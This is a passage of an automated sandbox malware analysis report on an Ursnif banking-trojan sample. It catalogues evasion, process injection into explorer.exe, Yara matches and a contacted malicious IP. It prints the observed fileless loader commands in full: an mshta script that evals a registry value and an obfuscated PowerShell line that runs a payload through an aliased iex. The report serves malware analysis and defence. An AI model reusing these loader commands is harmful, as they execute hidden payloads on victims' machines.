Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\control.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Uses ping.exe to sleep
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6852 Thread sleep time: -12912720851596678s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\zn133k50.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nthaltvx.dll Jump to dropped file
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6200 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3221 Jump to behavior
Found evasive API chain checking for process token information
Source: C:\Windows\SysWOW64\rundll32.exe Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CB65C2 FindFirstFileW,lstrlenW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrcpyW,FindNextFileW,FindClose,FreeLibrary, 3_2_04CB65C2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CB99BC lstrlenW,FindFirstFileW,lstrlenW,RemoveDirectoryW,DeleteFileW,FindNextFileW,GetLastError, 3_2_04CB99BC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CCBAD1 lstrlenW,lstrlenW,lstrlenW,memset,FindFirstFileW,lstrlenW,lstrlenW,memset,wcscpy,PathFindFileNameW,RtlEnterCriticalSection,RtlLeaveCriticalSection,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,FindFirstFileW,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose, 3_2_04CCBAD1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CBFD47 wcscpy,wcscpy,GetLogicalDriveStringsW,GetLogicalDriveStringsW,RtlAllocateHeap,memset,GetLogicalDriveStringsW,WaitForSingleObject,GetDriveTypeW,lstrlenW,wcscpy,lstrlenW,HeapFree, 3_2_04CBFD47
Source: explorer.exe, 00000019.00000000.509234850.00000000080ED000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000019.00000000.476427259.0000000000680000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: _VMware_SATA_CD00#5&280b647&
Source: explorer.exe, 00000019.00000000.496672719.000000000069D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000019.00000000.490287156.000000000820E000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000019.00000000.505272751.00000000062C4000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000019.00000000.498968199.0000000004287000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}0
Source: rundll32.exe, 00000003.00000003.403411148.0000000002E21000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.501297168.0000000002DBA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.403462747.0000000002DEB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.393829384.0000000002E21000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.501461049.0000000002E21000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000019.00000000.490287156.000000000820E000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: explorer.exe, 00000019.00000000.509234850.00000000080ED000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: explorer.exe, 00000019.00000000.490287156.000000000820E000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware SATA CD00l
Source: rundll32.exe, 00000003.00000003.403411148.0000000002E21000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.393829384.0000000002E21000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.501461049.0000000002E21000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWD
Source: mshta.exe, 0000000D.00000003.410851238.000001C7D9B50000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b8b}n
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CBEC00 RegOpenKeyA,LoadLibraryA,GetProcAddress,GetLastError,FreeLibrary,GetLastError,RegCloseKey, 3_2_04CBEC00
Checks if the current process is being debugged
Source: C:\Windows\System32\loaddll32.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CB8FEC StrRChrA,_strupr,lstrlen,CreateEventA,RtlAddVectoredExceptionHandler,GetLastError,RtlRemoveVectoredExceptionHandler, 3_2_04CB8FEC

HIPS / PFW / Operating System Protection Evasion
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 185.189.151.28 80 Jump to behavior
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\rundll32.exe Memory written: C:\Windows\System32\control.exe base: 7FF7BF3512E0 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory written: C:\Windows\System32\control.exe base: 7FF7BF3512E0 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: 49C000 Jump to behavior
Injects code into the Windows Explorer (explorer.exe)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3968 base: 49C000 value: 00 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3968 base: 7FFC86661580 value: EB Jump to behavior
Creates a thread in another existing process (thread injection)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread created: C:\Windows\explorer.exe EIP: 86661580 Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: unknown Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe" "about:<hta:application><script>Exhe='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Exhe).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name iwcfhbmkpt -value gp; new-alias -name yuxesb -value iex; yuxesb ([System.Text.Encoding]::ASCII.GetString((iwcfhbmkpt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn))
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name iwcfhbmkpt -value gp; new-alias -name yuxesb -value iex; yuxesb ([System.Text.Encoding]::ASCII.GetString((iwcfhbmkpt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\rXN8OIpbzz.dll",#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name iwcfhbmkpt -value gp; new-alias -name yuxesb -value iex; yuxesb ([System.Text.Encoding]::ASCII.GetString((iwcfhbmkpt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nthaltvx.cmdline Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zn133k50.cmdline Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3047.tmp" "c:\Users\user\AppData\Local\Temp\CSCFB39A903173B4FAEAF71F3E48EC5D0FF.TMP" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4508.tmp" "c:\Users\user\AppData\Local\Temp\CSC41D8DEC26D8340F3B72514D252AF5890.TMP" Jump to behavior
Source: C:\Windows\System32\control.exe Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5 Jump to behavior
Source: explorer.exe, 00000019.00000000.462244926.0000000000688000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000019.00000000.476444005.0000000000688000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000019.00000000.496655082.0000000000688000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: ProgmanEXE^
Source: explorer.exe, 00000019.00000000.462449175.0000000000BE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000019.00000000.503922140.0000000005920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000019.00000000.490134138.00000000080ED000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000019.00000000.462449175.0000000000BE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000019.00000000.476899284.0000000000BE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000019.00000000.497029155.0000000000BE0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progman
Source: explorer.exe, 00000019.00000000.462449175.0000000000BE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000019.00000000.476899284.0000000000BE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000019.00000000.497029155.0000000000BE0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progmanlock
Source: explorer.exe, 00000019.00000000.476464537.000000000069D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000019.00000000.462256144.000000000069D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000019.00000000.496672719.000000000069D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Shell_TrayWnd4
Source: explorer.exe, 00000019.00000000.462449175.0000000000BE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000019.00000000.476899284.0000000000BE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000019.00000000.497029155.0000000000BE0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: WProgram Manager
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Contains functionality to query CPU information (cpuid)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04C73365 cpuid 3_2_04C73365
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CC81F1 CreateNamedPipeA,GetLastError,CloseHandle,GetLastError, 3_2_04CC81F1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04C776BB GetSystemTimeAsFileTime,_aulldiv,_snwprintf,CreateFileMappingW,GetLastError,GetLastError,MapViewOfFile,GetLastError,CloseHandle,GetLastError, 3_2_04C776BB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04C76D78 CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError, 3_2_04C76D78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04C73365 RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree, 3_2_04C73365

Stealing of Sensitive Information
barindex
Yara detected Ursnif
Source: Yara match File source: 00000003.00000003.349012704.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.448354217.00000000060D8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.348921870.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.348876810.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.349079600.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.393934520.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.395608793.000000000504C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000003.453774507.0000027B6DC1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.349095553.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.348687637.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.348979060.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.394913603.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.348760397.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 6240, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 3172, type: MEMORYSTR
Source: Yara match File source: 3.2.rundll32.exe.4c70000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4b994a0.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4b994a0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.51c94a0.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.51f6b40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.514a4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.51c94a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.51f6b40.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.514a4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000003.394753510.000000000514A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.394820050.00000000051C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.501779377.0000000004ECF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.500530669.0000000004B99000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality
barindex
Yara detected Ursnif
Source: Yara match File source: 00000003.00000003.349012704.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.448354217.00000000060D8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.348921870.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.348876810.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.349079600.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.393934520.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.395608793.000000000504C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000003.453774507.0000027B6DC1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.349095553.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.348687637.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.348979060.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.394913603.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.348760397.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 6240, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 3172, type: MEMORYSTR
Source: Yara match File source: 3.2.rundll32.exe.4c70000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4b994a0.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4b994a0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.51c94a0.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.51f6b40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.514a4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.51c94a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.51f6b40.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.514a4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000003.394753510.000000000514A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.394820050.00000000051C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.501779377.0000000004ECF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.500530669.0000000004B99000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 620156 Sample: rXN8OIpbzz Startdate: 04/05/2022 Architecture: WINDOWS Score: 100 52 Snort IDS alert for network traffic 2->52 54 Found malware configuration 2->54 56 Multi AV Scanner detection for submitted file 2->56 58 2 other signatures 2->58 9 mshta.exe 19 2->9         started        11 loaddll32.exe 1 2->11         started        process3 process4 13 powershell.exe 31 9->13         started        16 cmd.exe 1 11->16         started        signatures5 68 Injects code into the Windows Explorer (explorer.exe) 13->68 70 Writes to foreign memory regions 13->70 72 Creates a thread in another existing process (thread injection) 13->72 18 explorer.exe 13->18 injected 21 csc.exe 3 13->21         started        24 csc.exe 3 13->24         started        26 conhost.exe 13->26         started        28 rundll32.exe 1 6 16->28         started        process6 dnsIp7 60 Self deletion via cmd delete 18->60 31 cmd.exe 1 18->31         started        46 C:\Users\user\AppData\Local\...\nthaltvx.dll, PE32 21->46 dropped 34 cvtres.exe 1 21->34         started        48 C:\Users\user\AppData\Local\...\zn133k50.dll, PE32 24->48 dropped 36 cvtres.exe 1 24->36         started        50 185.189.151.28, 49820, 80 AS-SOFTPLUSCH Switzerland 28->50 62 System process connects to network (likely due to code injection or exploit) 28->62 64 Writes to foreign memory regions 28->64 66 Writes registry values via WMI 28->66 38 control.exe 1 28->38         started        file8 signatures9 process10 signatures11 74 Uses ping.exe to sleep 31->74 76 Uses ping.exe to check the status of other devices and networks 31->76 40 conhost.exe 31->40         started        42 PING.EXE 1 31->42         started        44 rundll32.exe 38->44         started        process12
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.189.151.28
 unknown Switzerland
51395 AS-SOFTPLUSCH true

Contacted Domains

Name IP Active
l-0007.l-dc-msedge.net 13.107.43.16 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
